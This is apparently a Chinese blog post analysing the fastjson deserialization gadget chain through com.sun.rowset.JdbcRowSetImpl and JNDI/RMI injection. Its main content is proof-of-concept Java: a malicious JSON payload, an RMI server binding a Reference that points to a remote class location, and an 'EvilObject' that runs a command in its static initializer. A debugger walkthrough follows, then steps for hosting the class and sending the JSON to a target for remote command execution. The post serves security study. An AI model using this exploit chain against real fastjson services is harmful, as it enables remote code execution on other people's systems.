fastjson反序列化-JdbcRowSetImpl利用链

JdbcRowSetImpl利用链

fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs.com)

这里涉及了JNDI与RMI的概念。

其本质为JNDI注入。

附上示例代码

JdbcRowSetImplPoC.java

package org.lain.poc.poclist;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig; /**
* @author: ZH3FENG
* @Date: 下午7:53 2017/12/11
* @Modified By:
* @Description: Gadget com.sun.rowset.JdbcRowSetImpl
*
* setAutoCommit() -> connect() -> InitialContext.lookup()
*/
public class JdbcRowSetImplPoC { public static void testJdbcRowSetImpl(String dataSourceName){ ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true);// String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
+ "\"dataSourceName\":\"" + dataSourceName + "\","
+ "\"autoCommit\":\"true\"}";
System.out.println(payload); try{
JSONObject.parse(payload,config);
}catch (Exception e){
e.printStackTrace();
}
}
}

RMIServer.java

package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; /**
* @author: lanqihe
* @Date: 下午8:01 2017/12/11
* @Modified By:
* @Description: 本地注册一个register,并将恶意的类绑定
*/
public class RMIServer { public static void main(String argv[]) { try {
Registry registry = LocateRegistry.createRegistry(1090); //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
//因此,本地测试的话,如果factory正确,factoryLocation随便填
//把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了
Reference reference = new Reference("EvilObject",
"org.lain.poc.jndi.EvilObjectFactory",
"http://localhost:9999/" ); //客户端通过evil查找,获取到EvilObject
registry.bind("evil", new ReferenceWrapper(reference)); System.out.println("Ready!");
System.out.println("Waiting for connection......"); } catch (Exception e) {
System.out.println("RMIServer: " + e.getMessage());
e.printStackTrace();
}
}
}

EvilObject.java

package org.lain.poc.jndi;

import java.io.IOException;

/**
* @author: ZH3FENG
* @Date: 上午10:18 2017/12/12
* @Modified By:
* @Description: 模拟一个恶意类,静态代码块执行命令
*/
public class EvilObject { public EvilObject(){
System.out.println("Hi!");
}
/**
* 简单的命令执行
*/
static {
try {
Runtime.getRuntime().exec("calc");
}catch (IOException e){
//ignore
}
}
}

我们在JSONObject.parse方法下断点调试

还是调用了parse.Object,步入

调用deserialze方法,进行反序列化

接下来会对JdbcRowSetImpl进行 初始化

在调用完构造函数后,parseObject还会去调用set方法。

根据poc的字段,可以在setDataSourceName与setAutoCommit下断点。

发现确实调用了这两个函数,在setDataSourceName方法中设置了数据源,setAutoCommit方法中,调用了connect方法。

connect方法

lookup方法

decodeObject中就是解析reference,之后调用getOnjectInstance去实例化对象。

调用流程总结:

具体利用方法:

Fastjson反序列化漏洞利用 - 简书 (jianshu.com)

搭建一个rmi服务器和一个http服务器

将exp类部署到http服务器上。

如果目标网站存在fastjson包,且有json格式数据的输入点。则可以构造json数据,达到远程调用http服务器上的类,造成命令执行。

fastjson反序列化-JdbcRowSetImpl利用链的更多相关文章

  1. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  2. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  3. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  4. fastjson反序列化JdbcRowSetImpl

    Gadget com.sun.rowset.JdbcRowSetImpl setAutoCommit() -> connect() -> InitialContext.lookup() p ...

  5. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

  6. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  7. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  8. ThinkPHP5.1 反序列化利用链

    笔记里直接复制出来的   1 composer直接获取框架代码   ➜  composer create-project --prefer-dist topthink/think tp5137 ➜  ...

  9. Java基础/利用fastjson反序列化json为对象和对象数组

    利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...

随机推荐

  1. 老司机带你体验SYS库多种新玩法

    导读 如何更加愉快地利用sys库做一些监控? 快来,跟上老司机,体验sys库的多种新玩法~ MySQL5.7的新特性中,非常突出的特性之一就是sys库,不仅可以通过sys库完成MySQL信息的收集,还 ...

  2. C#窗体间互相传值

    Demo窗体图片,Form1 Demo窗体图片,Form2 公共委托 using System; namespace _DeleFrm{  public class Dele  {    public ...

  3. Jetpack Compose学习(3)——图标(Icon) 按钮(Button) 输入框(TextField) 的使用

    原文地址: Jetpack Compose学习(3)--图标(Icon) 按钮(Button) 输入框(TextField) 的使用 | Stars-One的杂货小窝 本篇分别对常用的组件:图标(Ic ...

  4. JS002. map( ) 和 filter( ) 的区别和实际应用场景(递归函数、深度优先搜索DFS)

    在开发过程中难免会碰到省市区级联的操作,一般后端人员是不愿意将中文储存在数据库的. 由于应用页面较多,我们在通过区域Code写查字典函数时应该注意函数的 时间复杂度 / 空间复杂度. 如果用三层for ...

  5. Linux find命令实例教程 15个find命令用法

    除了在一个目录结构下查找文件这种基本的操作,你还可以用find命令实现一些实用的操作,使你的命令行之旅更加简易.本文将介绍15种无论是于新手还是老鸟都非常有用的Linux find命令.首先,在你的h ...

  6. vue随记

    (一)使用props传值: <HeadTitle name-data="100"></HeadTitle> props:['nameData'] 父组件传递 ...

  7. VS Code + WSL 搭建 RaspberryPi Pico 开发环境

    前面老周写一堆 .NET 与树莓派相关的水文.其实使用的是.net的 IOT 库,并不只是树莓派,其他运行 Linux 的开发板都适用,只要有 GPIO 就行.老周好像在哪看到过,有 USB 转GPI ...

  8. SpringCloudAlibaba - 整合 Nacos 实现服务注册与发现

    目录 前言 环境 Nacos是什么? 服务发现原理 搭建 Nacos Server Nacos Server 下载地址 Nacos Server 的版本选择 运行 Nacos Server Nacos ...

  9. Linux系列(25) - 常用快捷键(未更新完)

    快捷键 说明 Ctrl+L 清屏 tab tab按一次自动补全目录文件名称/tab按二次将目录下带有补全前面字段的所有文件目录展示出来,例子: cd /   tab键按两次将根目录下所有文件展示出来 ...

  10. typora+picgo+gitee 图片无法加载问题

    typora+picgo+gitee 图片无法加载问题 待解决